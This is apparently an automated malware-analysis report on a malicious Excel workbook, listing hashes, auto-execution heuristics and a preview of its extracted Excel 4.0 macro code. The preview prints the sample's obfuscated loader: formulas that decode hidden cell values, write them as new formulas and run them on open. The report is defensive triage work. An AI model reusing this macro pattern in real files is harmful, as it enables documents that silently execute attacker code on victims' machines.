Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 03d05b473cd68eed…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:44:29 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: a466fb4afce3e41aa12044bc14aa0186 SHA-1: 9a3261366569c5d2757f2da75269afa658dd892e SHA-256: 03d05b473cd68eeda7a489b74dff6ad5f9c2df849e56c3a3c9052ad2fac2d45a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6541 bytes
SHA-256: a21fdacaec0b23c347997775054722bf67baa52b1b08cdcfa8526e4ae6954a10
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  XMurcpA
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D147 
' 0018     22 LABEL : Cell Value, String Constant - aVGQWkI len=0 
' 0018     23 LABEL : Cell Value, String Constant - CCoyCDWz len=0 
' 0018     22 LABEL : Cell Value, String Constant - DiESRDF len=0 
' 0018     25 LABEL : Cell Value, String Constant - FeFLJbuVyI len=0 
' 0018     26 LABEL : Cell Value, String Constant - gvOJXtvRjzy len=0 
' 0018     21 LABEL : Cell Value, String Constant - HcKaKO len=0 
' 0018     27 LABEL : Cell Value, String Constant - IXwTWgHcLJve len=0 
' 0018     24 LABEL : Cell Value, String Constant - NwNiAwiey len=0 
' 0018     27 LABEL : Cell Value, String Constant - NZPRTqYoihwy len=0 
' 0018     27 LABEL : Cell Value, String Constant - PYTjjpbLNYFA len=0 
' 0018     26 LABEL : Cell Value, String Constant - qlTGaEUjxDz len=0 
' 0018     24 LABEL : Cell Value, String Constant - QTrJZHmwd len=0 
' 0018     20 LABEL : Cell Value, String Constant - siRhT len=0 
' 0018     26 LABEL : Cell Value, String Constant - uCwOWpuVuYe len=0 
' 0018     20 LABEL : Cell Value, String Constant - UfJzv len=0 
' 0018     26 LABEL : Cell Value, String Constant - VATsgGWnCGQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - WitqksCY len=0 
' 0018     22 LABEL : Cell Value, String Constant - yctznIq len=0 
' 0018     24 LABEL : Cell Value, String Constant - yiPxuFrkC len=0 
' 0018     25 LABEL : Cell Value, String Constant - yuLAZTyoRQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XMurcpA,D59,"SET.NAME("WitqksCY",VALUE("0"))",""
'  XMurcpA,D63,"SET.NAME("PYTjjpbLNYFA",WitqksCY)",""
'  XMurcpA,D67,"SET.NAME("NwNiAwiey",WitqksCY)",""
'  XMurcpA,D72,"SET.NAME("UfJzv",COUNTA(yiPxuFrkC))",""
'  XMurcpA,D74,"SET.NAME("qlTGaEUjxDz",COUNTA(DiESRDF))",""
'  XMurcpA,D77,[],""
'  XMurcpA,D79,"SET.NAME("NZPRTqYoihwy","")",""
'  XMurcpA,D82,"PYTjjpbLNYFA",""
'  XMurcpA,D87,"SET.NAME("VATsgGWnCGQ",HLOOKUP("*",yiPxuFrkC,PYTjjpbLNYFA,FALSE))",""
'  XMurcpA,D90,"yuLAZTyoRQ",""
'  XMurcpA,D94,"SET.NAME("gvOJXtvRjzy",WitqksCY)",""
'  XMurcpA,D96,[],""
'  XMurcpA,D100,"gvOJXtvRjzy",""
'  XMurcpA,D104,"HcKaKO",""
'  XMurcpA,D107,"QTrJZHmwd",""
'  XMurcpA,D110,"aVGQWkI",""
'  XMurcpA,D115,"SET.NAME("siRhT",VALUE(HLOOKUP("*",DiESRDF,aVGQWkI,FALSE)))",""
'  XMurcpA,D117,"uCwOWpuVuYe",""
'  XMurcpA,D119,"NZPRTqYoihwy",""
'  XMurcpA,D122,"NwNiAwiey",""
'  XMurcpA,D126,NEXT(),""
'  XMurcpA,D131,"yctznIq",""
'  XMurcpA,D135,"SET.NAME("f",INT(T(FORMULA(T(NZPRTqYoihwy)&"",""&T(yctznIq)))))",""
'  XMurcpA,D139,"FeFLJbuVyI",""
'  XMurcpA,D141,NEXT(),""
'  XMurcpA,D144,RETURN(),""
'  XMurcpA,D167,"SET.NAME("IXwTWgHcLJve",D59)",""
'  XMurcpA,D172,"yiPxuFrkC",""
'  XMurcpA,D174,"SET.NAME("DiESRDF",R60C12)",""
'  XMurcpA,D179,"SET.NAME("FeFLJbuVyI",186)",""
'  XMurcpA,D181,"SET.NAME("CCoyCDWz",4)",""
'  XMurcpA,D185,IXwTWgHcLJve(),""
'  XMurcpA,D186,HALT(),""